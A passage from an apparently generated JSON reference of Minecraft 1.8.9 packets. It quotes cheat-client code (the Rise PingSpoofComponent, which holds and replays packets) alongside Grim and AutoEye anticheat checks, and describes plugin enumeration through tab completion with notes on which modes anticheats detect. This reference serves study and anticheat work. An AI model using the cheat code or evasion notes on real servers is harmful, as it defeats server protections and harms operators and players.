207);\n\n            getLayer(REGULAR, 1).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), getTheme().getBackgroundShade()));\n            getLayer(BLUR).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), Color.BLACK));\n            getLayer(BLOOM).add(() -> RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, getTheme().getRound(), getTheme().getDropShadow()));\n\n            getLayer(REGULAR, 1).add(() -> {\n                mc.fontRendererObj.drawWithShadow(Client.NAME + \" \" + Client.VERSION + \" INDEV \" + date.format(LocalDateTime.now()), position.position.x + padding, position.position.y + padding, new Color(255, 255, 0).getRGB());\n                mc.fontRendererObj.drawWithShadow(\"FPS: \" + Minecraft.getDebugFPS() + \" [target \" + mc.getLimitFramerate() + \"]\", position.position.x + padding, position.position.y + padding * 2, new Color(255, 255, 0).getRGB());\n\n                mc.fontRendererObj.draw(\"Debugger\", position.position.x + padding, position.position.y + padding * 4, getTheme().getFirstColor().hashCode());\n\n                if (Client.DEVELOPMENT_SWITCH) {\n                    mc.fontRendererObj.draw(\"Blink: \" + BlinkComponent.blinking, position.position.x + padding, position.position.y + padding * 6, Color.WHITE.hashCode());\n                } else {\n                    mc.fontRendererObj.draw(\"Hidden due to not in dev mode\", position.position.x + padding, position.position.y + padding * 5, Color.WHITE.hashCode());\n                    mc.fontRendererObj.draw(\"Hidden due to not in dev mode\", position.position.x + padding, position.position.y + padding * 6, Color.WHITE.hashCode());\n                }\n\n//                mc.fontRendererObj.drawString(\"Bot Amount: \" + Client.INSTANCE.getBotManager().size(), position.position.x + padding, position.position.y + padding * 7, Color.WHITE.hashCode());\n                mc.fontRendererObj.draw(\"ESPs Amount: \" + ESPComponent.esps.size(), position.position.x + padding, position.position.y + padding * 8, Color.WHITE.hashCode());\n\n                mc.fontRendererObj.draw(\"Performance\", position.position.x + padding, position.position.y + padding * 9, getTheme().getFirstColor().hashCode());\n                mc.fontRendererObj.draw(\"ThreadLag: \" + threadLag, position.position.x + padding, position.position.y + padding * 16, Color.WHITE.hashCode());\n\n                mc.fontRendererObj.draw(\"Other\", position.position.x + padding, position.position.y + padding * 18, getTheme().getFirstColor().hashCode());\n                mc.fontRendererObj.draw(\"Timer: \" + mc.timer.timerSpeed, position.position.x + padding, position.position.y + padding * 19, Color.WHITE.hashCode());\n            });\n        }\n    };\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (measuring) return;\n\n        long systemTime = System.currentTimeMillis();\n        measuring = true;\n\n        boolean run = mc.thePlayer.ticksExisted % 100 == 0 && eventCalls.getValue();\n        threadPool.execute(() -> {\n            threadLag = System.currentTimeMillis() - systemTime;\n            measuring = false;\n\n            if (run) {\n                ChatUtil.display(\"Displaying Calls: \");\n\n                for (String name : calls.keySet()) {\n                    ChatUtil.display(name + \": \" + calls.get(name));\n                }\n\n                calls.clear();\n            }\n        });\n    };\n}\n// NOTE (AI): The Abilities branch is a pure read: it prints fly speed, allowFlying and isFlying. The send-side dump is gated on Client.DEVELOPMENT_SWITCH, but the receive branch is live regardless, which is why S39 debugging works in release builds. This is the canonical example of reading S39 fields through the MCP accessors.\n",
      "code_source": "Rise 6.1.30, com/alan/clients/module/impl/other/Debugger.java",
      "vanilla_hook": "PacketReceiveEvent; PacketSendEvent gated on the development switch.",
      "anti_cheat_notes": "None; the module only reads packets and prints text. It is a diagnostic tool, included here because it is the only corpus code that consumes S39 purely for inspection.",
      "variations": "Rise 6.2.4 ships the same module under Client-release2/Client/src/main/java with an identical S39 branch."
     },
     {
      "name": "PingSpoofComponent (packet holding)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Hold and replay latency-sensitive packets; S39 is classified as teleport-class so it flushes together with S08 rather than with regular traffic.",
      "how_it_works": "The component owns five class tuples (regular, velocity, teleports, players, blink, movement) plus per-tuple enable flags set by spoof(). While enabled, matching packets are cancelled on send or receive and queued as TimedPacket entries; on PostMotion, entries older than the spoof amount are replayed via PacketUtil.queue. S39PacketPlayerAbilities sits in the teleports tuple with S08PacketPlayerPosLook and S09PacketHeldItemChange.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): S39 sits in the teleports tuple with S08PacketPlayerPosLook and S09PacketHeldItemChange: while a spoof window is active these classes are cancelled and queued, then flushed together via dispatch(). Grouping matters because holding an S39 across an S08 would desync flag state from position. The component is the shared engine behind PingSpoof, CreativeFlight and the blink modes.\n",
      "code_source": "Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketReceiveEvent, PacketSendEvent, PostMotionEvent, WorldChangeEvent.",
      "anti_cheat_notes": "Holding S39 is not itself detectable, but the desync it prevents is: a held S39 crossing a held S08 would leave flag state and position inconsistent, a correlation anti-cheats can use. The teleport grouping exists to keep that ordering intact.",
      "variations": "Rise 6.2.4 ships the identical component under Client-release2/Client/src/main/java; both versions are driven by the same spoof() and blink() entry points."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the common surface; CreativeFlight mutates the packet object on the event, Debugger reads it, PingSpoofComponent cancels and queues it.",
    "client_variations": "Rise 6.x uses the component system for holding; the 6.1.30 and 6.2.4 trees are functionally identical. The other six clients carry only the vanilla handler and have no S39 modules.",
    "related": [
     "C13PacketPlayerAbilities",
     "S08PacketPlayerPosLook",
     "S38PacketPlayerListItem"
    ],
    "anticheat": {
     "overview": "The abilities packet is the server's flight permission broadcast: it carries allow-flight, invulnerable, creative, and the fly and walk speed factors, and it is the synchronization oracle anticheats use to validate the client's own abilities packet (C13). Checks pair the two directions: the server send sets the player's canFly and isFlying state, and the client send is checked against that state, so a flying flag without a server grant is a spoof. Grim runs a dedicated both-direction check plus a fly-flag spoof check; older anticheats fold the client abilities packet into their packet dispatch to feed movement physics.",
     "checks": [
      {
       "name": "Abilities state sync (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep the player's flight capability and flying flag in sync with what the server last sent on S39, so every other movement check reasons about the same flight state the client was granted.",
       "how_it_works": "PacketPlayerAbilities listens on both directions. On the client abilities packet (C13) it sets player.isFlying to the packet's flying flag gated on player.canFly. On the server send (S39) it opens a transaction, remembers the last sent allow-flight value, and if flight was just revoked schedules a netty task that fires a setback when the client's transaction has not confirmed receipt within max-ping-out-of-flying (default 1000ms). A real-time task then applies canFly and isFlying from the server packet. The comment in the source explains the ordering hazard: Mojang's netcode lets ability packets arrive out of order, so state is applied one tick late to stop a client from flying for a tick before the anticheat knows.",
       "detects": "Clients that fly while the server has not granted flight, and clients that keep flying after the server revokes the ability. This is the S39-side half of fly-cheat detection.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerAbilities.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerAbilities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerAbilities;\nimport org.jetbrains.annotations.NotNull;\n\n// The client can send ability packets out of order due to Mojang's excellent netcode design.\n// We must delay the second ability packet until the tick after the first is received\n// Else the player will fly for a tick, and we won't know about it, which is bad.\npublic class PacketPlayerAbilities extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private boolean lastSentPlayerCanFly = false;\n    private int maxFlyingPing = 1000;\n\n    public PacketPlayerAbilities(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.PLAYER_ABILITIES) {\n            WrapperPlayClientPlayerAbilities abilities = new WrapperPlayClientPlayerAbilities(event);\n            player.isFlying = abilities.isFlying() && player.canFly;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.PLAYER_ABILITIES) {\n            WrapperPlayServerPlayerAbilities abilities = new WrapperPlayServerPlayerAbilities(event);\n            player.sendTransaction();\n\n            if (lastSentPlayerCanFly && !abilities.isFlightAllowed()) {\n                int noFlying = player.lastTransactionSent.get();\n                if (maxFlyingPing != -1) {\n                    player.runNettyTaskInMs(() -> {\n                        if (player.lastTransactionReceived.get() < noFlying) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                        }\n                    }, maxFlyingPing);\n                }\n            }\n\n            lastSentPlayerCanFly = abilities.isFlightAllowed();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                player.canFly = abilities.isFlightAllowed();\n                player.isFlying = abilities.isFlying();\n            });\n\n        }\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFlyingPing = config.getIntElse(\"max-ping-out-of-flying\", 1000);\n    }\n\n}\n// NOTE (AI): The class is registered as a Check in CheckManager and implements both PacketReceiveListener and PacketSendListener. The maxFlyingPing setback is config-driven (max-ping-out-of-flying), and the transaction sandwich means the canFly flip is applied at the exact tick the server packet lands.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerAbilities.java",
       "variations": "Artemis mirrors the server abilities packet into its emulated entity capabilities in EmulatorPreProcessor (GPacketPlayServerAbilities), and BetterAnticheat's PlayerCapabilities reads WrapperPlayServerPlayerAbilities into isFlying, canFly and flySpeed fields; both are the same S39-as-oracle pattern."
      },
      {
       "name": "Fly flag spoof (Grim BadPacketsI)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flag a client abilities packet that claims flying while the server has never granted flight on S39.",
       "how_it_works": "A PreVia packet receive listener: when the packet type is PLAYER_ABILITIES, the wrapper reports isFlying true, and player.canFly is false, the check flags and cancels the packet. canFly is only ever true after the server sent allow-flight on S39, so this is a direct cross-check of the client's C13 claim against the S39 grant.",
       "detects": "Spoofed flying flags, creative-fly hacks that send the flying bit without permission, and clients that desync their abilities state from the server.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsI.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerAbilities;\n\n@CheckData(name = \"BadPacketsI\", stableKey = \"grim.badpackets.spoofed_abilities\", description = \"Claimed to be flying while unable to fly\")\npublic class BadPacketsI extends Check implements PreViaPacketReceiveListener {\n    public BadPacketsI(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.PLAYER_ABILITIES\n                && new WrapperPlayClientPlayerAbilities(event).isFlying() && !player.canFly\n                && flag() && shouldModifyPackets()) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n        }\n    }\n}\n// NOTE (AI): The check cancels the offending packet (with packet-cancel bookkeeping) rather than just flagging, which stops the claimed flight from ever reaching the server's movement handling.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsI.java",
       "variations": "AutoEye reads the same client packet in its netty channel handler and pushes the flying bit into the movement physics, so its fly checks run with the client's claimed flight state; Observer's Move check tracks a creativeFly boolean from C13PacketPlayerAbilities and exempts movement while it is set."
      },
      {
       "name": "Abilities dispatch (AutoEye)",
       "found_in": [
        "heirteir-AutoEye"
       ],
       "purpose": "Route the client abilities packet into the movement physics state so fly and timer checks see the client's claimed flight mode.",
       "how_it_works": "The channel handler switch matches PacketPlayInAbilities and writes the wrapper's flying bit into the player's physics state via setFlying. It is the C13-side counterpart to the S39 grant: AutoEye has no server-side abilities reader, so it trusts the client bit and lets the movement checks decide whether the resulting motion is possible.",
       "detects": "Fly cheats that move with the flying flag set. The state feeds the movement check pipeline rather than flagging directly.",
       "detailed_code": "// ===== FILE: heirteir-AutoEye, src/main/java/com/heirteir/autoeye/packets/channelhandler/ChannelHandlerAbstract.java =====\n/*\n * Created by Justin Heflin on 4/19/18 8:21 PM\n * Copyright (c) 2018.\n *\n * Can be redistributed non commercially as long as credit is given to original copyright owner.\n *\n * last modified: 4/19/18 7:22 PM\n */\npackage com.heirteir.autoeye.packets.channelhandler;\n\nimport com.heirteir.autoeye.Autoeye;\nimport com.heirteir.autoeye.api.AutoEyeInfractionEvent;\nimport com.heirteir.autoeye.check.Check;\nimport com.heirteir.autoeye.check.CheckType;\nimport com.heirteir.autoeye.packets.PacketType;\nimport com.heirteir.autoeye.packets.wrappers.PacketPlayInAbilities;\nimport com.heirteir.autoeye.packets.wrappers.PacketPlayInFlying;\nimport com.heirteir.autoeye.packets.wrappers.PacketPlayInUseEntity;\nimport com.heirteir.autoeye.packets.wrappers.PacketPlayOutEntityVelocity;\nimport com.heirteir.autoeye.player.AutoEyePlayer;\nimport com.heirteir.autoeye.util.reflections.Reflections;\nimport com.heirteir.autoeye.util.reflections.types.WrappedField;\nimport com.heirteir.autoeye.util.reflections.wrappers.WrappedEntity;\nimport com.heirteir.autoeye.util.vector.Vector3D;\nimport org.bukkit.Bukkit;\nimport org.bukkit.entity.LivingEntity;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.Executors;\n\npublic abstract class ChannelHandlerAbstract {\n    static final WrappedField networkManagerField = Reflections.getNMSClass(\"PlayerConnection\").getFieldByName(\"networkManager\");\n    static final WrappedField playerConnectionField = Reflections.getNMSClass(\"EntityPlayer\").getFieldByName(\"playerConnection\");\n    protected final Autoeye autoeye;\n    final Executor addChannelHandlerExecutor;\n    final Executor removeChannelHandlerExecutor;\n    final String handlerKey;\n    final String playerKey;\n\n    ChannelHandlerAbstract(Autoeye autoeye) {\n        this.autoeye = autoeye;\n        this.addChannelHandlerExecutor = Executors.newSingleThreadExecutor();\n        this.removeChannelHandlerExecutor = Executors.newSingleThreadExecutor();\n        this.handlerKey = \"packet_handler\";\n        this.playerKey = \"autoeye_player_handler\";\n    }\n\n    public boolean run(AutoEyePlayer player, Object packet) {\n        if (!this.autoeye.isRunning()) {\n            Plugin plugin = Bukkit.getPluginManager().getPlugin(\"Autoeye\");\n            if (plugin != null && plugin.isEnabled()) {\n                Object channelInjector = Reflections.getClass(plugin.getClass()).getMethod(\"getChannelInjector\").invoke(plugin);\n                Reflections.getClass(channelInjector.getClass()).getMethod(\"addChannel\", Player.class).invoke(channelInjector, player.getPlayer());\n            }\n            return true;\n        }\n        if (this.autoeye.isEnabled() && packet != null && player != null && player.getPlayer() != null && player.getPlayer().isOnline()) {\n            switch (PacketType.fromString(packet.getClass().getSimpleName())) {\n                case PacketPlayInWindowClick:\n                    return this.runChecks(player, CheckType.INVENTORY_EVENT);\n                case PacketPlayInFlying:\n                    PacketPlayInFlying packetPlayInFlying = new PacketPlayInFlying(packet);\n                    if (packetPlayInFlying.isHasPos()) {\n                        player.getLocationData().setLocation(new Vector3D(packetPlayInFlying.getX(), packetPlayInFlying.getY(), packetPlayInFlying.getZ()));\n                    }\n                    if (!this.runChecks(player, CheckType.PRE_MOVE_EVENT)) {\n                        return false;\n                    }\n                    player.getInteractData().update(this.autoeye, player);\n                    player.update(this.autoeye, packetPlayInFlying);\n                    return this.runChecks(player, CheckType.MOVE_EVENT);\n                case PacketPlayInAbilities:\n                    player.getPhysics().setFlying(new PacketPlayInAbilities(packet).isFlying());\n                    break;\n                case PacketPlayInUseEntity:\n                    PacketPlayInUseEntity packetPlayInUseEntity = new PacketPlayInUseEntity(player.getPlayer().getWorld(), packet);\n                    if (packetPlayInUseEntity.getEntity() instanceof LivingEntity) {\n                        if (player.getInteractData().getLastEntity() == null || player.getInteractData().getLastEntity().getBukkitEntity().getEntityId() != packetPlayInUseEntity.getId()) {\n                            player.getInteractData().setLastEntity(new WrappedEntity(autoeye, (LivingEntity) packetPlayInUseEntity.getEntity()));\n                        }\n                        player.getInteractData().setLastActionType(packetPlayInUseEntity.getActionType());\n                        player.getTimeData().getLastUseEntity().update();\n                        player.getInteractData().update(this.autoeye, player);\n                    }\n                    return this.runChecks(player, CheckType.ENTITY_USE_EVENT);\n                case PacketPlayInKeepAlive:\n                    player.getTimeData().getLastInKeepAlive().update();\n                    player.setPing(player.getTimeData().getDifference(player.getTimeData().getLastOutKeepAlive().getTime(), player.getTimeData().getLastInKeepAlive().getTime()));\n                    break;\n                case PacketPlayOutKeepAlive:\n                    player.getTimeData().getLastOutKeepAlive().update();\n                    break;\n                case PacketPlayOutPosition:\n                    player.getLocationData().setTeleported(player, true);\n                    player.getLocationData().reset(this.autoeye, player);\n                    player.getPhysics().reset(player);\n                    break;\n                case PacketPlayOutEntityVelocity:\n                    PacketPlayOutEntityVelocity packetPlayOutEntityVelocity = new PacketPlayOutEntityVelocity(player, packet);\n                    if (packetPlayOutEntityVelocity.isPlayer()) {\n                        player.getPhysics().setServerVelocity(new Vector3D(packetPlayOutEntityVelocity.getX(), packetPlayOutEntityVelocity.getY() + player.getPhysics().getClientVelocity().getY(), packetPlayOutEntityVelocity.getZ()));\n                        player.getTimeData().getLastVelocity().update();\n                    }\n                    break;\n            }\n        }\n        return true;\n    }\n\n    private boolean runChecks(AutoEyePlayer player, CheckType type) {\n        for (Check check : this.autoeye.getCheckRegister().getCheckList(type)) {\n            if (check.isEnabled() && !player.getPlayer().hasPermission(check.getPermission()) && !player.getLocationData().isTeleported() && check.check(player)) {\n                AutoEyeInfractionEvent e = new AutoEyeInfractionEvent(player.getPlayer(), player.getInfractionData().getInfraction(check));\n                Bukkit.getPluginManager().callEvent(e);\n                if (!e.isCancelled()) {\n                    player.getInfractionData().addVL(player, check);\n                    for (AutoEyePlayer p : this.autoeye.getAutoEyePlayerList().getPlayers().values()) {\n                        p.sendMessage(this.autoeye, this.autoeye.getPluginLogger().translateColorCodes(e.getMessage()));\n                    }\n                    if (check.isRevert()) {\n                        return check.revert(player);\n                    }\n                }\n                return true;\n            }\n        }\n        return true;\n    }\n\n    public abstract void addChannel(Player player);\n\n    public abstract void removeChannel(Player player);\n}\n// NOTE (AI): The abilities case sits inside the same switch that dispatches flying, window click, use-entity, keep-alive, position and velocity packets, so the flying bit is one input among many to the per-player physics state.",
       "code_source": "heirteir-AutoEye, src/main/java/com/heirteir/autoeye/packets/channelhandler/ChannelHandlerAbstract.java",
       "variations": "The dispatch pattern is shared by the 1.8 anticheat generation: the abilities packet is folded into per-player state, and flight permission is either trusted from the client or not tracked at all. Grim is the outlier that validates the claim against the server send."
      }
     ]
    }
   },
   "wiki_notes": [
    "If the Flying flag is set while Allow Flying is unset, the player cannot stop flying, so the two bits must stay consistent.",
    "The third float doubles as a field-of-view modifier tied to movement speed, which is why the vanilla server sends the same 0.1 default as the movement-speed attribute.",
    "MCP 1.8.9 S39PacketPlayerAbilities implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handlePlayerAbilities; wire serde is readPacketData/writePacketData via readByte, readFloat.",
    "1.8.9 callers: EntityPlayerMP.sendPlayerAbilities sends new S39PacketPlayerAbilities (line 1092) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S39PacketPlayerAbilities/",
   "mcp_path": "net/minecraft/network/play/server/S39PacketPlayerAbilities.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S3APacketTabComplete",
   "hex": "0x3A",
   "dec": 58,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Tab Complete",
   "desc": "Server responds to C14PacketTabComplete with a list of matching commands/player names.",
   "tags": [
    "chat",
    "command",
    "player"
   ],
   "fields": [
    {
     "name": "matches",
     "type": "String[]",
     "desc": "Auto-complete suggestions"
    }
   ],
   "encoding": [
    [
     "Count",
     "VarInt",
     ""
    ],
    [
     "Matches",
     "String[]",
     "Suggested completions"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleTabComplete()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The server's answer to C14PacketTabComplete: a VarInt count followed by the matching command and player-name strings. The vanilla GUI feeds them into GuiChat.onAutocompleteResponse to cycle suggestions on Tab. Because Bukkit forks populate the server command registry from plugins, the response leaks plugin names as colon-prefixed commands (/plugin:subcommand), which is the entire basis of the plugin-enumeration features in the corpus."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processTabComplete asks the command dispatcher for matches and echoes them back as S3APacketTabComplete with no rate limit and no length guard beyond the request's own string cap. Client side, handleTabComplete dispatches on the main thread and, only when the current screen is a GuiChat, calls onAutocompleteResponse; any other screen means the payload is silently ignored, a detail modules must remember when they fire requests outside chat."
     },
     {
      "h": "Why clients touch it",
      "p": "Five corpus features consume the response. Rise 5.99 Plugins sends C14 with '/' in Normal mode or '/a' through '/z' in Bypass mode, then parses every S3A response, splits on ':' and filters '/minecraft' to print the plugin list; Bypass defers the printout to onDisable. Sigma 4.11 PluginFinder is a command doing the same with a 20-second listen window, its own dedupe and a cancel of the event. Rise 6.1.30 and 6.2.4 Chat reimplements the chat screen and consumes S3A for autocomplete cycling: it stores the matches on receive, rotates through them on Tab, and fires C14 itself with the typed text and an optional targeted BlockPos. LiquidSense Dev's Plugins module fires a single C14 on enable and auto-disables after printing the sorted, deduped list. November Recode 2.0's PluginsCommand runs the same enumeration as a chat command and additionally regex-parses bare-word suggestions and accepts a custom completion seed."
     },
     {
      "h": "Exploit surface",
      "p": "The enumeration trick is the exploit: a server that does not filter tab completion inventories its own plugins, which names the anti-cheat and its version for targeted research. Bypass modes blast up to 26 requests in one burst, which is a clean rate signal; servers that rate-limit C14 or strip plugin-prefixed commands from the registry kill both modes. The GUI dependency is the subtle constraint: S3A only reaches the vanilla autocomplete when a chat screen is open, so UI-less requesters must hold their own state."
     }
    ],
    "overview": "The tab-completion response channel and the backbone of plugin enumeration: Bukkit leaks plugin names as colon-prefixed commands. Five features across the corpus consume it: Rise 5.99 Plugins (Normal and Bypass modes), Sigma 4.11's PluginFinder command, the Rise 6.x Chat module, LiquidSense Dev's Plugins module, and November Recode 2.0's PluginsCommand.",
    "server_handling": "processTabComplete resolves matches from the server command registry and player list, then sends S3A. There is no server-side rate limit in vanilla; rate limiting lives in plugins. The response is a snapshot, one S3A per request in order, and nothing invalidates a previous response, which is why burst enumeration is reliable.",
    "protocol_notes": "VarInt count, then count strings, each VarInt-length-prefixed UTF-8, bounded by the 32767-byte frame limit per string. The request may carry an optional targeted BlockPos that enables coordinate-aware completions, but the response carries no position data back. Results arrive in registry order, which is why cycling modules rotate through the array instead of assuming alphabetical order.",
    "anticheat_landscape": "Anti-cheats do not flag S3A; they flag the request side. A burst of 26 C14 packets inside one tick is a clean rate signal, which makes Rise 5.99's Normal mode (one request, one parse) the safe variant and Bypass the risky one. Servers defeat enumeration server-side by filtering S3A responses or hiding plugin-prefixed commands, both invisible to the client.",
    "modules": [
     {
      "name": "Plugins",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Enumerate server plugins by parsing the colon-prefixed commands leaked in tab-completion responses.",
